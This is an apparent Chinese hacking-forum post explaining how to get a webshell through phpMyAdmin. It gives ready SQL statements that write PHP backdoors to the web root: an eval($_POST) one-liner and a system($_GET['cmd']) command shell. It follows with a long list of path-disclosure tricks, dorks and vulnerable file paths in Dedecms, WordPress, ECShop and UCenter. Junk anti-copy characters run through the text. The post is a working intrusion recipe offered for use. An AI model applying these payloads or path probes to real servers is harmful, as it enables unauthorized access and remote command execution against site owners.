标题: phpmyadmin后台拿shell [打印本页] 作者: admin 时间: 2012-9-13 17:03 标题: phpmyadmin后台拿shell 方法一：. h% t2 c: O3 ^; d( v
CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL );4 r& ?$ r; f7 s3 Q8 B3 w) f
INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES ('<?php @eval($_POST[xiaoma])?>'); , c8 E- n' c- d" C bSELECT xiaomaFROM study INTO OUTFILE 'E:/wamp/www/7.php'; 3 |- \- F L k1 }----以上同时执行，在数据库: mysql 下创建一个表名为：xiaoma，字段为xiaoma1，导出到E:/wamp/www/7.php' [) ]0 C2 a. }/ `4 s& j
一句话连接密码：xiaoma+ ] J h% M3 u' a9 V5 Z$ E; p
7 c& V% f0 M9 y, t" T方法二： " q, s5 l$ t7 a4 B5 X# { Create TABLE xiaoma (xiaoma1 text NOT NULL); 5 M$ k i* C) V0 o( z2 w& \, ?" h Insert INTO xiaoma (xiaoma1) VALUES('<?php eval($_POST[xiaoma])?>');1 V& ]2 O8 w, v# f- T
select xiaoma1 from xiaoma into outfile 'E:/wamp/www/7.php'; s) U y# w. f, p1 f6 H$ k: i
Drop TABLE IF EXISTS xiaoma;5 ~' u. v: G) p4 M& o: E8 ?
+ ?& H5 X- l& B% s, x方法三： $ |/ p- Q# x; H, O9 z# V8 v 4 i7 f+ C# E& Q1 P6 J6 L读取文件内容： select load_file('E:/xamp/www/s.php'); C, I3 |7 ]/ Z: p( F ) A' P$ v/ U. L# D% h& q U5 u写一句话：select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'E:/xamp/www/xiaoma.php'7 V5 W) o; t! R. }
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cmd执行权限：select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php' # N c. M" t" P2 {' f9 F/ R+ f1 t% {1 V" y; P1 W, L- {9 e. f
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方法四： ! k0 F6 Y9 q" J6 M3 G2 p: c. r+ W select load_file('E:/xamp/www/xiaoma.php');* I! \4 I6 o( G0 o7 m
1 O$ S, E1 p2 R: I0 R select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php' [1 k2 z1 |% _% q- V' j& Q 然后访问网站目录：http://www.xxxx.com/xiaoma.php?cmd=dir9 _8 z. L; O7 U
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php爆路径方法收集 ： 0 t2 k. c+ h C+ x% X* i8 \! z $ n" e% t* u1 X$ E( x 0 P$ s8 F; [" ]1 F. v' w* B1 O+ v. ~* y( x& X) i
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1、单引号爆路径 v$ E. n( z! b# r$ ` I. E" ~
说明： & a* X6 n8 j9 M$ n% \直接在URL后面加单引号，要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。 " {! P9 {* d0 z9 O+ U: B* T1 ^www.xxx.com/news.php?id=149′ 6 v. [ H6 Z* ?5 Z: @& w+ c# ?3 a; ]4 I6 X- V2 a2 \
2、错误参数值爆路径% v0 W% I1 z7 |5 a& r
说明：! T2 P7 d5 J7 z1 y
将要提交的参数值改成错误值，比如-1。-99999单引号被过滤时不妨试试。: d- }' C, M S8 { www.xxx.com/researcharchive.php?id=-1. d0 B! m$ ]: r$ T, w B! |2 J1 j
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3、Google爆路径 3 N. }" n0 e/ v8 U& l3 W, H% [说明： 6 L* s$ ]0 q% j2 m结合关键字和site语法搜索出错页面的网页快照，常见关键字有warning和fatal error。注意，如果目标站点是二级域名，site接的是其对应的顶级域名，这样得到的信息要多得多。! B4 m9 o) ^. \* e- }. J4 \
Site:xxx.edu.tw warning 6 P" l7 v+ t _* n) L4 l1 d& nSite:xxx.com.tw “fatal error”; N/ j8 Y* o3 ]
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4、测试文件爆路径1 `& i2 q4 S8 @# ~8 r
说明：5 A0 h9 b; [' ^* Y
很多网站的根目录下都存在测试文件，脚本代码通常都是phpinfo()。& t9 _, \: a Z www.xxx.com/test.php7 x4 ~* g: b" c www.xxx.com/ceshi.php7 q H# k; ?/ ^. _% w# _ www.xxx.com/info.php ) Q6 z. Z6 W: l7 |www.xxx.com/phpinfo.php 5 I7 i. |, N- wwww.xxx.com/php_info.php $ n4 b: P+ i) G/ B/ Lwww.xxx.com/1.php - {4 U6 [% v, \" [* z, U$ I1 i* t; A# Q" W, J6 {" W
5、phpmyadmin爆路径 7 K' S$ ]' s+ ^9 l9 _说明：; m1 ~7 c: I( _" |: w+ ~
一旦找到phpmyadmin的管理页面，再访问该目录下的某些特定文件，就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫，也可以选择google。PS：有些BT网站会写成phpMyAdmin。2 Y/ z/ U9 y" H5 {" ~: S5 J2 S& q
1. /phpmyadmin/libraries/lect_lang.lib.php8 u2 d. j( I4 w( Q: n6 I
2./phpMyAdmin/index.php?lang[]=1 4 C! T% T( \" u3. /phpMyAdmin/phpinfo.php 8 M; \- X+ ~ Z4. load_file() 6 p. ?# b* k! O/ C5./phpmyadmin/themes/darkblue_orange/layout.inc.php ) m+ D% p M2 T# t5 x: x6./phpmyadmin/libraries/select_lang.lib.php 5 j1 x$ `* m2 W# O/ H5 |7./phpmyadmin/libraries/lect_lang.lib.php . V6 z3 D' v+ k# S$ ?' f, g! x: h8./phpmyadmin/libraries/mcrypt.lib.php ' X. z4 M4 u2 a5 T5 Y* e) m0 f" H1 b8 ?" j: b$ g/ F1 W9 f, `0 G, J
6、配置文件找路径; h, O! L- N6 k# G2 _
说明：3 D3 t9 N) i! Y# f# |. g6 ^, }! E
如果注入点有文件读取权限，就可以手工load_file或工具读取配置文件，再从中寻找路径信息（一般在文件末尾）。各平台下Web服务器和PHP的配置文件默认路径可以上网查，这里列举常见的几个。 ( `$ v! ~" L- t" v9 B6 ^/ b; \' M# v( W" Z; P0 v; R6 {& {. b4 g
Windows: ' I, L* |% L" w9 }/ u0 dc:\windows\php.ini php配置文件% W: H T2 S6 B- Z# ], x
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件 $ |# n3 Q" d" N4 L; }, B ( r, P# j7 l; d" q! f4 o" _Linux:, y/ D! C0 o$ p/ I' k
/etc/php.ini php配置文件 0 w2 s( z& Z9 j C/etc/httpd/conf.d/php.conf0 f) g9 w$ F( ^, H3 D
/etc/httpd/conf/httpd.conf Apache配置文件( z1 U. R! ~6 G7 l+ h6 J
/usr/local/apache/conf/httpd.conf ; l1 b! T: ]6 ?# E! r" D/ k* Q, @/usr/local/apache2/conf/httpd.conf # ~2 `" [. h. ~ V+ N7 a/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件/ F1 h+ E% x6 ~; O) H ^, N
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7、nginx文件类型错误解析爆路径 ! F- ?$ _, @: J说明： / {# ]% a9 ~* H这是昨天无意中发现的方法，当然要求Web服务器是nginx，且存在文件类型解析漏洞。有时在图片地址后加/x.php，该图片不但会被当作php文件执行，还有可能爆出物理路径。 ' D& g: R) j0 a8 z) a! n1 ]8 f1 X1 D4 [http://www.xxx.com/top.jpg/x.php7 X. a% r" J2 a) o* E' s" C' E+ x- u
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dedecms7 g/ Q3 o) W: l* ^
/member/templets/menulit.php 7 Q! L" E# [7 j7 J {, x: V( gplus/paycenter/alipay/return_url.php ! A) k$ j; B2 u, L9 c; F) \; V5 wplus/paycenter/cbpayment/autoreceive.php% i& s M7 V6 E/ `
paycenter/nps/config_pay_nps.php 9 V% U0 [9 u2 \5 i. bplus/task/dede-maketimehtml.php 1 h2 b, W& Q* O, I1 x8 ]; Fplus/task/dede-optimize-table.php # E2 t& l; B& L0 G- Qplus/task/dede-upcache.php$ u! Q- M; `& f: t# \$ B
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WP- I) d, c/ M" V3 N" m
wp-admin/includes/file.php Z8 A. H4 X7 }" E( Q8 fwp-content/themes/baiaogu-seo/footer.php0 y8 S( i8 `. J( |, o& _
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ecshop商城系统暴路径漏洞文件( O$ ?" j4 ^+ @0 v) y$ ]
/api/cron.php 3 E2 A9 A- R1 w( h' R7 f+ n/wap/goods.php; U+ G' _* k: N5 t: Y
/temp/compiled/ur_here.lbi.php: M, b6 A' Z! Q9 n2 w0 v
/temp/compiled/pages.lbi.php # S0 ^5 I9 m( V0 X- j/temp/compiled/user_transaction.dwt.php ( K) ^# Y4 O; @. M- B- N/temp/compiled/history.lbi.php - E! ~0 G% E8 ~3 @! H/temp/compiled/page_footer.lbi.php A7 g4 b) z: z. A4 c: l$ k" I" C
/temp/compiled/goods.dwt.php % l$ H" d' V1 V& ]; R$ ]3 c/temp/compiled/user_clips.dwt.php . j# e7 j6 |/ o1 V* O& o/temp/compiled/goods_article.lbi.php! Z/ W* `& r% ^2 |
/temp/compiled/comments_list.lbi.php 6 G, A5 V/ a+ p! p& ~* t/temp/compiled/recommend_promotion.lbi.php + {1 {& m8 ^, R0 V' g( |; f8 w+ z' V/temp/compiled/search.dwt.php7 ?7 G; A. j1 _3 i6 j& k- F
/temp/compiled/category_tree.lbi.php0 h6 t& e( q# J. t: ~- b
/temp/compiled/user_passport.dwt.php+ a& B& E4 g& j" u+ t1 }( b* i1 C
/temp/compiled/promotion_info.lbi.php! s+ a' N5 H' I5 p' X
/temp/compiled/user_menu.lbi.php4 y: A" Z$ S3 a& e X
/temp/compiled/message.dwt.php4 K) h. o* ?7 V$ m" \
/temp/compiled/admin/pagefooter.htm.php 8 h% D! L. @0 ?/temp/compiled/admin/page.htm.php8 A8 ?4 O& A% B+ U
/temp/compiled/admin/start.htm.php, k; x! S7 k) [: J/ J
/temp/compiled/admin/goods_search.htm.php' `+ v! b8 E e" x6 t- q$ j
/temp/compiled/admin/index.htm.php . s! r/ E: L5 _% e4 A/temp/compiled/admin/order_list.htm.php, O! m' u Q5 P0 u0 ]) t& b1 ~
/temp/compiled/admin/menu.htm.php * i" K. }, C9 ^( g) D% m7 C/temp/compiled/admin/login.htm.php6 E6 _: d1 O$ _8 v+ }/ j
/temp/compiled/admin/message.htm.php; o0 o5 n8 } b$ e* E; s
/temp/compiled/admin/goods_list.htm.php# e7 A2 E3 h; R# U. E! [
/temp/compiled/admin/pageheader.htm.php- F! a4 q* y9 R: j0 W* j+ ]4 r
/temp/compiled/admin/top.htm.php + t- t9 N+ U# A* m/temp/compiled/top10.lbi.php, j( c, T& b. X0 L9 ?, @' W# I
/temp/compiled/member_info.lbi.php 2 k! [8 k, }9 B/temp/compiled/bought_goods.lbi.php' C3 L" c8 N, y, l
/temp/compiled/goods_related.lbi.php, U5 {% _, n! d$ m6 q
/temp/compiled/page_header.lbi.php , N8 {0 J6 z6 W/temp/compiled/goods_script.html.php 4 R7 q6 b5 t( A( E h/temp/compiled/index.dwt.php # }( c$ Y" H' w# q( ^% f& d; n* c# P: ~/temp/compiled/goods_fittings.lbi.php + h. i- v; B- {/temp/compiled/myship.dwt.php9 ^& k( [- M) n0 |7 i0 r$ f* m" ]
/temp/compiled/brands.lbi.php 3 x( z: p* U. h2 [& C3 [" e5 _/temp/compiled/help.lbi.php% {" Q3 f# g: ]2 l/ v" b2 C
/temp/compiled/goods_gallery.lbi.php " }' |8 o, u6 c' J1 v) _/temp/compiled/comments.lbi.php* D% J0 ?- I6 [2 v
/temp/compiled/myship.lbi.php, c7 ?$ ]. I6 a( w' `( E4 F
/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php" S8 ^! U1 i7 B0 R5 C
/includes/modules/cron/auto_manage.php 4 P( T3 k' F {/includes/modules/cron/ipdel.php ' \- C6 z$ x2 y0 f + `/ `' L* J& `9 lucenter爆路径 2 P, v* k3 y* g% Q4 T7 b9 p% iucenter\control\admin\db.php: e% |, I- n6 J5 I